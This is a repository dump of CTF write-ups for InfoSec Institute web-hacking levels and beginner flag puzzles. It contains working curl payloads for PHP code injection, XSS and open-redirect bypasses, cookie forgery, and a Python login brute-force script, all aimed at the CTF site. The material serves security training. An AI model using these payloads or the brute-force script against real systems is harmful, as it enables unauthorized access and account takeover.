├── README.md ├── infosec ├── ctf2 │ ├── .placeholder │ ├── README.md │ ├── ex1.md │ ├── ex11.md │ ├── ex12.md │ ├── ex13.md │ ├── ex2.md │ ├── ex3.md │ ├── ex4.md │ ├── ex5.md │ ├── ex6.md │ ├── ex7.md │ ├── ex8.md │ └── ex9.md └── n00bs │ ├── l01.md │ ├── l02.md │ ├── l03.md │ ├── l04.md │ ├── l05.md │ ├── l06.md │ ├── l07.md │ ├── l08.md │ ├── l09.md │ ├── l10.md │ ├── l11.md │ ├── l12.md │ ├── l13.md │ ├── l14.md │ └── l15.md ├── kevgir ├── 000-redis.md ├── 001-tomcat.md ├── 002-jenkins.md ├── 003-nfs.md ├── 004-joomla.md ├── README.md └── scripts │ ├── redis-oracle.py │ └── zenphoto-brute-force.php └── overthewire ├── .placeholder ├── leviathan └── leviathan.md └── natas ├── .gitignore ├── natas00.md ├── natas01.md ├── natas02.md ├── natas03.md ├── natas04.md ├── natas05.md ├── natas06.md ├── natas07.md ├── natas08.md ├── natas09.md ├── natas10.md ├── natas11.md ├── natas12.md ├── natas13.md ├── natas14.md ├── natas15.md ├── natas16.md ├── natas17.md ├── natas18.md ├── natas19.md ├── natas20.md ├── natas21.md ├── natas22.md ├── natas23.md ├── natas24.md ├── natas25.md ├── natas26.md └── scripts ├── natas15.py ├── natas16.py ├── natas17.py ├── natas18.py ├── natas19.py ├── natas19_stats.py ├── natas20.py ├── natas21.py └── natas25.py /README.md: -------------------------------------------------------------------------------- 1 | # ctf 2 | -------------------------------------------------------------------------------- /infosec/ctf2/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/psmiraglia/ctf/19543d041861057431908a7d3d099d49b508b061/infosec/ctf2/.placeholder -------------------------------------------------------------------------------- /infosec/ctf2/README.md: -------------------------------------------------------------------------------- 1 | # Table of Contents 2 | 3 | * [Level 1](./ex1.md) 4 | * [Level 2](./ex2.md) 5 | * Level 3 6 | * [Level 4](./ex4.md) 7 | * [Level 5](./ex5.md) 8 | * [Level 6](./ex6.md) 9 | * [Level 7](./ex7.md) 10 | * [Level 8](./ex8.md) 11 | * [Level 9](./ex9.md) 12 | * Level 10 13 | * [Level 11](./ex11.md) 14 | * [Level 12](./ex12.md) 15 | * [Level 13](./ex13.md) 16 | -------------------------------------------------------------------------------- /infosec/ctf2/ex1.md: -------------------------------------------------------------------------------- 1 | # A3 Cross-Site Scripting (XSS) 2 | 3 | 1. Let's try to use `test` as "Site Name" and `http://www.example.com` as 4 | "Site URL". It works as expected. 5 | 6 | 2. Now, change `test` in `` just to check if input validation in present. 7 | Is it... 8 | 9 | 3. At first, we need to disable input validation. According to the source, 10 | "Site Name" is validated against a RegEx (`[a-zA-Z]+`). To allow "special" 11 | characters, two approaches can be followed: 12 | 13 | * Change the RegEx in `.+` 14 | 15 | 16 | ^^ 17 | 18 | * Add the `formnovalidate` attribute to the `submit` input 19 | 20 | 21 | ^^^^^^^^^^^^^^ 22 | 23 | Both the approaches can be implemented by using FF's Web Developer tools. 24 | 25 | 4. Let's try to inject the solution's code `` by 26 | using "Site Name" field. It works, but unfortunately `<` and `>` characters 27 | are escaped (see `../js/ex1.js:18-19`) 28 | 29 | var siteName = $(".ex1 input[type='text']").val().trim().replace(//g, ">"); 30 | var siteURL = $(".ex1 input[type='url']").val().trim().replace(//g, ">"); 31 | 32 | 5. To bypass escaping, we can use the JS debugger provided by FF. Let's add a 33 | breackpoint at line 18. After the code execution (the string escaping) we 34 | can manually modify the value of "Site Name" by re-inserting the original 35 | value without escapes (``). That's it! 36 | 37 | [Go to Exercise2](./ex2.md) 38 | 39 | -------------------------------------------------------------------------------- /infosec/ctf2/ex11.md: -------------------------------------------------------------------------------- 1 | # Bypassing blacklists 2 | 3 | 1. It seems to be the same of [Level 9](./ex9.md). Anyway, let's take a look 4 | in the cookies 5 | 6 | $ curl -i -s http://ctf.infosecinstitute.com/ctf2/exercises/ex11.php | head -14 7 | HTTP/1.1 200 OK 8 | Date: Tue, 15 Sep 2015 09:03:06 GMT 9 | Server: Apache/2.4.7 (Ubuntu) 10 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 11 | Set-Cookie: PHPSESSID=9f4hc8vgctariqhhndj94dqad7; path=/ 12 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 13 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 14 | Pragma: no-cache 15 | Set-Cookie: welcome=no; expires=Fri, 16-Oct-2015 09:03:06 GMT; Max-Age=2678400; path=/ 16 | Vary: Accept-Encoding 17 | Content-Length: 4359 18 | Content-Type: text/html 19 | 20 | More then clear... 21 | 22 | $ curl -i --cookie "welcome=yes" http://ctf.infosecinstitute.com/ctf2/exercises/ex11.php 23 | [...] 24 |
25 |

You did it again! Why did they blacklist you anyway?

26 |
27 | [...] 28 | 29 | [Go to Ex10](./ex10.md) | [Go to Ex12](./ex12.md) 30 | 31 | -------------------------------------------------------------------------------- /infosec/ctf2/ex12.md: -------------------------------------------------------------------------------- 1 | # Dictionary Attack 2 | 3 | 1. As first step, let's try to find a password list as suggested 4 | (`filetype:lst password`) 5 | 6 | https://www.google.com/search?q=filetype%3Alst+password&ie=utf-8&oe=utf-8 7 | 8 | The first result is a wordlist from `nmap` SVN website. It should be ok. 9 | 10 | $ wget https://svn.nmap.org/nmap/nselib/data/passwords.lst 11 | 12 | Well. We'll use it later.. 13 | 14 | 2. Since this is a dictionary attack, our goal is to try all the passwords 15 | contained in the wordlist that we just downloaded. To perform this task we 16 | could use the "Intruder" from Burp Suite or write a simple Python script. 17 | We'll follow the second approach... 18 | 19 | 3. As first thing, we need to know what data is posted. By using a local proxy 20 | (I'm using `nc`), posted data seems to be the following 21 | 22 | $ nc -l 9999 23 | POST http://ctf.infosecinstitute.com/ctf2/exercises/ex12.php HTTP/1.1 24 | Host: ctf.infosecinstitute.com 25 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 26 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 27 | Accept-Language: en-GB,en;q=0.5 28 | Accept-Encoding: gzip, deflate 29 | DNT: 1 30 | Referer: http://ctf.infosecinstitute.com/ctf2/exercises/ex12.php 31 | Cookie: PHPSESSID=4vl34nu5g2vg5iogbe5l4k7aa6; welcome=no; user=Sk9ITitET0U%3D 32 | Connection: keep-alive 33 | Content-Type: application/x-www-form-urlencoded 34 | Content-Length: 42 35 | 36 | username=admin&password=secret&logIn=Login 37 | 38 | Take a note... 39 | 40 | 4. Remove from `passwords.lst` all the lines starting with 41 | 42 | #!comment: 43 | 44 | 4. Put the following lines in a `.py` file (e.g. `ex12.py`) 45 | 46 | import requests 47 | 48 | TARGET = "http://ctf.infosecinstitute.com/ctf2/exercises/ex12.php" 49 | 50 | with open('passwords.lst') as f: 51 | passwords = f.readlines() 52 | f.close() 53 | 54 | for p in passwords: 55 | pwd = p[:-1] 56 | s = requests.Session() 57 | # username=admin&password=secret&logIn=Login 58 | data = {'username': 'admin', 'password': pwd, 'logIn': 'Login'} 59 | r = s.post(TARGET, data=data) 60 | print "admin|%16s|%d" % (pwd, len(r.text)) 61 | 62 | 5. Run the script. It will print out, for each attempt, the tuple 63 | 64 | username|used password|response's length 65 | 66 | As we can see in the following, `princess` password generates a response 67 | that is less then others 68 | 69 | $ python ex12.py 70 | admin| 123456|4880 71 | admin| 12345|4880 72 | admin| 123456789|4880 73 | admin| password|4880 74 | admin| iloveyou|4880 75 | admin| princess|4731 <-- !!! 76 | admin| 12345678|4880 77 | admin| 1234567|4880 78 | admin| abc123|4880 79 | admin| nicole|4880 80 | admin| daniel|4880 81 | [...] 82 | 83 | 6. Try to use `admin` and `princess` as credentials... ;-) 84 | 85 | [Go to Ex11](./ex11.md) | [Go to Ex13](./ex13.md) 86 | -------------------------------------------------------------------------------- /infosec/ctf2/ex13.md: -------------------------------------------------------------------------------- 1 | # A10 Unvalidated Redirects and Forwards 2 | 3 | 1. Ok. We were redirected (in some way) to 4 | 5 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13-task.php 6 | 7 | Let's take a look at the link for Level 13 in the levels' dropdown list 8 | 9 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=ex13-task.php 10 | 11 | Interesting!!! The redirect is performed by using `redirect` parameter. 12 | 13 | 2. Let's try with 14 | 15 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=http://mysite.com 16 | 17 | For sure, we receive 18 | 19 | Bad Redirect Parameter 20 | 21 | Maybe the approach of [Level 4](./ex4.md)... 22 | 23 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=HtTp://mysite.com 24 | ^^^^ 25 | Grrr... 26 | 27 | Bad Redirect Parameter 28 | 29 | Seems that value of `redirect` is validated by using a case-insensitive 30 | `regex`. Let's try with 31 | 32 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=ftp://mysite.com 33 | ^^^ 34 | 35 | Ops... No error message! Seems that not checks are performed on the scheme. 36 | 37 | 2. By Googling I found the man page of the PHP function 38 | [`parse_url()`](http://php.net/manual/en/function.parse-url.php). If you take 39 | a look at `Example #2`, you can see that URLs may be also specified without 40 | the scheme. 41 | 42 | 3. Let's try this 43 | 44 | http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=//mysite.com 45 | ^^ 46 | 47 | Yep! 48 | 49 | Congratulations, you just completed the last level. You are a true Ninja warrior now. 50 | 51 | [Go to Ex12](./ex12.md) 52 | 53 | -------------------------------------------------------------------------------- /infosec/ctf2/ex2.md: -------------------------------------------------------------------------------- 1 | # A1 Injection 2 | 3 | 1. The goal is to inject the `phpinfo()` function in order to show its output. 4 | After some attemps, seems that `operand1` and `operand2` input fields must 5 | be numbers. On the contrary, `operator` field is not validated. Therefore, 6 | it's realistic to assume that `operator` is the attack's veicle. 7 | 8 | 2. In the normal behaviour, the app replies with 9 | 10 | The result of X + Y is: Z 11 | 12 | where X is the value of `operand1`, Y the value of `operand2` and Z the 13 | result of the operation (maybe generated through `eval()` function). 14 | 15 | 3. Our task is to include the "magic code" in the operator field. Let's try 16 | this 17 | 18 | $ curl -XPOST --data "operand1=1&operand2=1&operator=;phpinfo();" \ 19 | http://ctf.infosecinstitute.com/ctf2/exercises/ex2.php 20 | HTTP/1.1 200 OK 21 | Date: Mon, 07 Sep 2015 08:08:54 GMT 22 | Server: Apache/2.4.7 (Ubuntu) 23 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 24 | Set-Cookie: PHPSESSID=gqinri2rihvkjb7jvu4ea9ase7; path=/ 25 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 26 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 27 | Pragma: no-cache 28 | Vary: Accept-Encoding 29 | Content-Length: 7561 30 | Content-Type: text/html 31 | 32 | [...] 33 | 34 | 37 | 38 | [...] 39 | 40 | It seems to work... 41 | 42 | [Go to Ex1](./ex1.md) | [Go to Ex3] (./ex3.md) 43 | -------------------------------------------------------------------------------- /infosec/ctf2/ex3.md: -------------------------------------------------------------------------------- 1 | # Data Validation; Parameter Delimiter 2 | 3 | 1. Step 1... 4 | 5 | 2. Step 2... 6 | 7 | 3. Step 3... 8 | 9 | [Go to Ex2](./ex2.md) | [Go to Ex4] (./ex4.md) 10 | 11 | -------------------------------------------------------------------------------- /infosec/ctf2/ex4.md: -------------------------------------------------------------------------------- 1 | # A4 Insecure Direct Object References 2 | 3 | 1. The task is clear! We have to load a `.php` remote file from 4 | `infosecistitute.com`. By clicking on `Bio` button, we can see that files 5 | are loaded by using the `file` parameter 6 | 7 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file= 8 | 9 | 2. Let's try to load something from `infosecinstitute.com` 10 | 11 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=http://infosecinstitute.com/foo.php 12 | 13 | The application says 14 | 15 | You are trying to add a remote URL. 16 | 17 | It seems that some validation occurs on the value of `file` parameter. Let's 18 | try withouth `http:` 19 | 20 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=//infosecinstitute.com/foo.php 21 | 22 | The application says 23 | 24 | Invalid file selected. 25 | 26 | Just to be sure, let's try with 27 | 28 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=http 29 | 30 | and 31 | 32 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=foohttpbar 33 | 34 | In both cases, the result is 35 | 36 | You are trying to add a remote URL. 37 | 38 | After some other attempts, seems that `file` parameter's value is validated 39 | against a `regex` in order to check if `http` string is present. 40 | 41 | 3. Now, we have to check if the `regex` is case-sesntirive. Let's try with the 42 | following URLs 43 | 44 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HTTP://infosecinstitute.com/foo.php 45 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HTTP 46 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=fooHTTPbar 47 | 48 | Relative answers are 49 | 50 | Invalid file selected. 51 | Invalid file selected. 52 | Invalid file selected. 53 | 54 | This means that we know now how to write the remote file's URL!!! :-) 55 | 56 | 4. In the application's navbar, all the loaded files are named by following a 57 | shared format 58 | 59 | file.txt 60 | 61 | Let's try with 62 | 63 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HTTP://infosecinstitute.com/file1.txt 64 | 65 | The application says 66 | 67 | There is something else that you must do. 68 | 69 | In the task's description it's wrote 70 | 71 | [...] it must have the PHP file extension [...] 72 | 73 | Maybe this? 74 | 75 | http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HTTP://infosecinstitute.com/file1.txt.php 76 | 77 | Yep!!! :-D 78 | 79 | [Go to Ex3](./ex3.md) | [Go to Ex5] (./ex5.md) 80 | 81 | -------------------------------------------------------------------------------- /infosec/ctf2/ex5.md: -------------------------------------------------------------------------------- 1 | # A7 Missing Function Level Access Control 2 | 3 | 1. By taking a look at the page' source, seems that the blue button labeled 4 | with `login` is a disabled link pointing to `login.html`. It could be a 5 | useful information... 6 | 7 | 2. The page is looking for an already logged user. Let's take a look in the 8 | cookies 9 | 10 | $ curl -i http://ctf.infosecinstitute.com/ctf2/exercises/ex5.php 11 | HTTP/1.1 200 OK 12 | Date: Wed, 09 Sep 2015 11:27:27 GMT 13 | Server: Apache/2.4.7 (Ubuntu) 14 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 15 | Set-Cookie: PHPSESSID=t3opf9hu70le3b5ibje0s39ih1; path=/ 16 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 17 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 18 | Pragma: no-cache 19 | Vary: Accept-Encoding 20 | Content-Length: 4481 21 | Content-Type: text/html 22 | 23 | 24 | 25 | 26 | 27 | Practical Website Hacking - Exercise 5 28 | 29 | 30 | [...] 31 | 32 | Nothing interesting... 33 | 34 | 3. According to the task's description, users require to be logged in before 35 | viewing the page. Maybe the `login.html` could help us. Let's try with the 36 | `referer` HTTP header. 37 | 38 | $ curl -i --referer login.html http://ctf.infosecinstitute.com/ctf2/exercises/ex5.php 39 | HTTP/1.1 200 OK 40 | Date: Wed, 09 Sep 2015 11:38:55 GMT 41 | Server: Apache/2.4.7 (Ubuntu) 42 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 43 | Set-Cookie: PHPSESSID=b8g0a76t05vmdgrsvl5osc1c50; path=/ 44 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 45 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 46 | Pragma: no-cache 47 | Vary: Accept-Encoding 48 | Content-Length: 4481 49 | Content-Type: text/html 50 | 51 | [...] 52 | 53 |
54 |
55 |

You are not logged in. Please login to access this page.

56 |
57 |
58 | 59 | [...] 60 | 61 | Grrr!!! Let's try with 62 | 63 | $ curl -i --referer http://ctf.infosecinstitute.com/ctf2/exercises/login.html http://ctf.infosecinstitute.com/ctf2/exercises/ex5.php 64 | HTTP/1.1 200 OK 65 | Date: Wed, 09 Sep 2015 11:42:43 GMT 66 | Server: Apache/2.4.7 (Ubuntu) 67 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 68 | Set-Cookie: PHPSESSID=kjvtjlcdjsgn9qgb84u8iq25m4; path=/ 69 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 70 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 71 | Pragma: no-cache 72 | Vary: Accept-Encoding 73 | Content-Length: 4252 74 | Content-Type: text/html 75 | 76 | [...] 77 | 78 |
79 |

Gosh, you were fast. You completed Level 5. You will be redirected to level 6 in 10 seconds.

80 |
81 | 82 | [...] 83 | 84 | Nice!!! 85 | 86 | [Go to Ex4](./ex4.md) | [Go to Ex6] (./ex6.md) 87 | 88 | -------------------------------------------------------------------------------- /infosec/ctf2/ex6.md: -------------------------------------------------------------------------------- 1 | # A8 Cross-Site Request Forgery (CSRF) 2 | 3 | 1. Since the allowed tags list include ``, the solution is quite simple. 4 | Tyr to insert the following "comment" 5 | 6 | 7 | 8 | [Go to Ex5](./ex5.md) | [Go to Ex7](./ex7.md) 9 | 10 | -------------------------------------------------------------------------------- /infosec/ctf2/ex7.md: -------------------------------------------------------------------------------- 1 | # A3 Cross-Site Scripting (XSS) 2 | 3 | 1. Let's take a look at the form's source code 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 |
15 |
16 | 17 | As we can see, there is an hidden field named `action` 18 | 19 | 20 | 21 | Seems to be interesting... 22 | 23 | 2. If we're lucky, the hidden field's value is set by referring the 24 | `$_SERVER["PHP_SELF"]` variable. To check it, we could try with the 25 | following URL 26 | 27 | http://ctf.infosecinstitute.com/ctf2/exercises/ex7.php/foo 28 | 29 | Yep! As we can see, there are some changes in the web page's rendering. 30 | Furthermore, the form's source code changed in 31 | 32 |
33 | 34 | [...] 35 | 36 | 37 | 38 | [...] 39 | 40 |
41 | 42 | This will be our attack's vehicle. 43 | 44 | 3. Our goal now is to create a "magic" URL that will include the code 45 | 46 |

YOUR NAME HERE

47 | 48 | in the page. Let's try by visiting the URL 49 | 50 | http://ctf.infosecinstitute.com/ctf2/exercises/ex7.php/'>foo 51 | 52 | As we can see, the string `foo '>` appeared between the password field and 53 | the buttons. It seems to be the right way. Let's try with 54 | 55 | http://ctf.infosecinstitute.com/ctf2/exercises/ex7.php/'>

GotTheMilk

56 | 57 | Yep! 58 | 59 | [Go to Ex6](./ex6.md) | [Go to Ex8](./ex8.md) 60 | 61 | -------------------------------------------------------------------------------- /infosec/ctf2/ex8.md: -------------------------------------------------------------------------------- 1 | # File inclusion 2 | 3 | 1. The first step is to analyse the application. Let's try in uploading a real 4 | image file. Of course the application replies us with 5 | 6 | File uploaded successfully 7 | 8 | Take a note... 9 | 10 | 2. Now, we'll try in renaming our file with a non-image extension 11 | 12 | $ cp duck_43ed2fd0.jpg duck_43ed2fd0.jpg.txt 13 | 14 | Also in this case, the application replies us with 15 | 16 | File uploaded successfully 17 | 18 | It seems that a check on the file's signature is performed. Take a note... 19 | 20 | 3. Let's create a fake image file containing the JS code that we 21 | want to be executed 22 | 23 | $ echo "" > script.js 24 | $ cp script.js f737c5cf_script.js 25 | 26 | We added the `f737c5cf_` prefix just to be sure that we're working with our 27 | file. If we try to upload it, we receive the message 28 | 29 | Your file does not have the proper extension. 30 | 31 | Take a note... 32 | 33 | 4. Let's change the file extension 34 | 35 | $ cp f737c5cf_script.js f737c5cf_script.js.png 36 | 37 | and try to upload it. The result is 38 | 39 | File uploaded successfully 40 | 41 | Well!!! We was able to upload a JS code on the server. Now, we need to find 42 | a way to execute it. 43 | 44 | 5. By clicking on `Chess 1` link, we can see that the URL changes in 45 | 46 | http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?attachment_id=1 47 | 48 | So, the uploaded files are referenced with an `attachment_id`. Let's try in 49 | using the 120 as id. 50 | 51 | http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?attachment_id=120 52 | 53 | We'll receive 54 | 55 | This attachment is currently under review by our editors. 56 | 57 | Take a note... 58 | 59 | 6. Go back to the "Chess 1" page and take a look at the source code. We can see 60 | that image files are stored under 61 | 62 | http://ctf.infosecinstitute.com/ctf2/ex8_assets/img/ 63 | 64 | So, let's try in accessing the image that we just uploaded 65 | 66 | http://ctf.infosecinstitute.com/ctf2/ex8_assets/img/duck_43ed2fd0.jpg 67 | 68 | We should see a rubber duck. Why we should not be able in accessing out 69 | fake image (f737c5cf_script.js.png)? Let's try with 70 | 71 | http://ctf.infosecinstitute.com/ctf2/ex8_assets/img/f737c5cf_script.js.png 72 | 73 | It works, but we receive the browser error 74 | 75 | The image "http://ctf.infosecinstitute.com/ctf2/ex8_assets/img/f737c5cf_script.js.png" 76 | cannot be displayed, because it contains errors. 77 | 78 | We should be near the solution... 79 | 80 | 7. After some attempts, I found this. If we add an extension to the URL 81 | 82 | http://ctf.infosecinstitute.com/ctf2/ex8_assets/img/f737c5cf_script.js.png.xyz 83 | ^^^ 84 | 85 | We're redirected to 86 | 87 | http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?file=f737c5cf_script.js.png.xyz 88 | ^^^^ 89 | 90 | As we can see, a new parameter appeared (`file`). Let's try in removing the 91 | `.xyz` suffix 92 | 93 | http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?file=f737c5cf_script.js.png 94 | 95 | We'll receive 96 | 97 | Your file does not contain the right code 98 | 99 | Mmmm... seems that the code that we wrote is not good. Let's try in doing this 100 | 101 | $ echo "" > f737c5cf_script.js.jpg 102 | 103 | Then, upload the `f737c5cf_script.js.jpg` file. After that, try visiting 104 | 105 | http://ctf.infosecinstitute.com/ctf2/exercises/ex8.php?file=f737c5cf_script.js.jpg 106 | 107 | Yep! 108 | 109 | Hehe, we hope that didn't took you long. Expect a redirect in the usual time. 110 | 111 | [Go to Ex7](./ex7.md) | [Go to Ex9](./ex9.md) 112 | 113 | -------------------------------------------------------------------------------- /infosec/ctf2/ex9.md: -------------------------------------------------------------------------------- 1 | # A2 Broken Authentication and Session Management 2 | 3 | 1. The hint *It seems you were automatically logged in* suggests us that 4 | something is (or should be) stored at client side. Let's try to take a look 5 | in the cookies 6 | 7 | $ curl -i http://ctf.infosecinstitute.com/ctf2/exercises/ex9.php 8 | HTTP/1.1 200 OK 9 | Date: Tue, 15 Sep 2015 08:40:18 GMT 10 | Server: Apache/2.4.7 (Ubuntu) 11 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 12 | Set-Cookie: PHPSESSID=d309chl30f9toku705pl0s5gh5; path=/ 13 | Expires: Thu, 19 Nov 1981 08:52:00 GMT 14 | Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 15 | Pragma: no-cache 16 | Set-Cookie: user=Sk9ITitET0U%3D; expires=Tue, 15-Sep-2015 09:40:18 GMT; Max-Age=3600; path=/; httponly 17 | Vary: Accept-Encoding 18 | Content-Length: 4701 19 | Content-Type: text/html 20 | 21 | 22 | 23 | 24 | 25 | [...] 26 | 27 | 2. What about `user=Sk9ITitET0U%3D`? It seems to be a Base64 string. Let's try 28 | to decode it 29 | 30 | $ echo "Sk9ITitET0U=" | openssl base64 -d 31 | JOHN+DOE 32 | 33 | Yep! 34 | 35 | 3. We need to impersonate **Mary Jane**, so the cookie value should be 36 | 37 | $ echo -n "MARY+JANE" | openssl base64 -e 38 | TUFSWStKQU5F 39 | 40 | 4. Let's try if everything works... 41 | 42 | $ curl -i --cookie "user=TUFSWStKQU5F" http://ctf.infosecinstitute.com/ctf2/exercises/ex9.php 43 | HTTP/1.1 200 OK 44 | Date: Tue, 15 Sep 2015 08:46:20 GMT 45 | Server: Apache/2.4.7 (Ubuntu) 46 | X-Powered-By: PHP/5.5.9-1ubuntu4.6 47 | 48 | [...] 49 | 50 |

Hello, Mary Jane.

51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 |
NameAgeNationality
Mary Jane18American
. 63 | 64 | [...] 65 | 66 |

Oh yeah, you actually made it! You know the drill.

67 | 68 | [...] 69 | 70 | Nice! :-D 71 | 72 | 73 | [Go to Ex8](./ex8.md) | [Go to Ex10](./ex10.md) 74 | 75 | -------------------------------------------------------------------------------- /infosec/n00bs/l01.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_welcome 4 | 5 | # Procedure 6 | 7 | Press CTRL+U and see at line 1. 8 | -------------------------------------------------------------------------------- /infosec/n00bs/l02.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_wearejuststarting 4 | 5 | # Procedure 6 | 7 | 1. Download the image file 8 | 9 | $ wget http://ctf.infosecinstitute.com/img/leveltwo.jpeg 10 | 11 | 2. Check file type 12 | 13 | $ file leveltwo.jpeg 14 | $ leveltwo.jpeg: ASCII text 15 | 16 | 3. File is a text file containing a Base64 string 17 | 18 | $ cat leveltwo.jpeg | base64 -d 19 | infosec_flagis_wearejuststarting 20 | 21 | -------------------------------------------------------------------------------- /infosec/n00bs/l03.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | INFOSECFLAGISMORSING 4 | 5 | # Procedure 6 | 7 | 1. Decode the QR code and get the Morse code 8 | 9 | .. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --. 10 | 11 | 2. Decode the Morse code 12 | 13 | .. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --. 14 | 15 | I N F O S E C F L A G I S M O R S I N G 16 | -------------------------------------------------------------------------------- /infosec/n00bs/l04.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_welovecookies 4 | 5 | # Procedure 6 | 7 | 1. By using an HTTP sniffer (e.g. FF addon Live HTTP headers) get the L4 page. 8 | You will see the Set-Cookie header 9 | 10 | Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf 11 | 12 | 2. Value of `fusrodah` cookie is the flag. It seems to be encrypted with the 13 | Cesar's chiper. 14 | 15 | 3. Go to `http://www.xarg.org/tools/caesar-cipher/` an try to deccrypt it with 16 | the key `13`. 17 | -------------------------------------------------------------------------------- /infosec/n00bs/l05.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_stegaliens 4 | 5 | # Procedure 6 | 7 | 1. The JS infinite loop seems to be a hint. Let's try to kill it by disabling JavaScript. 8 | 9 | 2. Well. An image that talks about Aliens is shown. Let's try to get some interesting EXIF data 10 | 11 | $ wget http://ctf.infosecinstitute.com/img/aliens.jpg 12 | $ exiftool alien.jpg 13 | ExifTool Version Number : 9.46 14 | File Name : aliens.jpg 15 | Directory : . 16 | File Size : 108 kB 17 | ... 18 | 19 | Nothing... 20 | 21 | 3. Let's try with steganography... 22 | 23 | $ steghide --extract -sf aliens.jpg 24 | Enter passphrase: (empty) 25 | wrote extracted data to "all.txt". 26 | 27 | Mmmm... Seems to be interesting... 28 | 29 | 4. Get `all.txt` data 30 | 31 | $ cat all.txt 32 | 01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011 33 | 34 | 5. Binary code? Let's try to decode it with online tools (e.g. http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.asp)... 35 | 36 | 6. Yep! 37 | 38 | -------------------------------------------------------------------------------- /infosec/n00bs/l06.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_sniffed 4 | 5 | # Procedure 6 | 7 | 1. Open the `sharkfin.pcap` capure file with `Wireshark` 8 | 9 | 2. The first package contains 44 bytes of data (HEX) 10 | 11 | 36:39:36:65:36:36:36:66:37:33:36:35:36:33:35:66:36:36:36:63:36:31:36:37:36:39:37:33:35:66:37:33:36:65:36:39:36:36:36:36:36:35:36:34 12 | 13 | 3. Decode it and get a new HEX string 14 | 15 | 696e666f7365635f666c616769735f736e6966666564 16 | 17 | 4. Decode it and get 18 | 19 | infosec_flagis_sniffed 20 | -------------------------------------------------------------------------------- /infosec/n00bs/l07.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_youfoundit 4 | 5 | # Procedure 6 | 7 | 1. Open a sniffer (e.g. Wireshark) and try to GET 8 | 9 | http://ctf.infosecinstitute.com/levelseven.php 10 | 11 | 2. You should receive a `HTTP/1.0 200` response with response phrase 12 | 13 | aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA== 14 | 15 | 3. Decode it 16 | 17 | $ echo -n "aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA==" | base64 -d 18 | infosec_flagis_youfoundit 19 | -------------------------------------------------------------------------------- /infosec/n00bs/l08.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_0x1a 4 | 5 | # Procedure 6 | 7 | 1. Get the binary 8 | 9 | $ wget http://ctf.infosecinstitute.com/misc/app.exe 10 | 11 | 2. Dump and grep it 12 | 13 | $ xxd -c 32 app.exe | grep infosec_flagis 14 | 0001000: 696e 666f 7365 635f 666c 6167 6973 5f30 7831 6100 2323 2323 2323 2323 2323 2323 infosec_flagis_0x1a.############ 15 | -------------------------------------------------------------------------------- /infosec/n00bs/l09.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | infosec_flagis_defaultpass 4 | 5 | # Procedure 6 | 7 | 1. `CISCO IDS WEB LOGIN SYSTEM` is the key hint. 8 | 9 | 2. Open your browser at 10 | 11 | https://www.google.com/search?q=cisco+ids+default+username+password&ie=utf-8&oe=utf-8 12 | 13 | and click on the first result. It should be 14 | 15 | 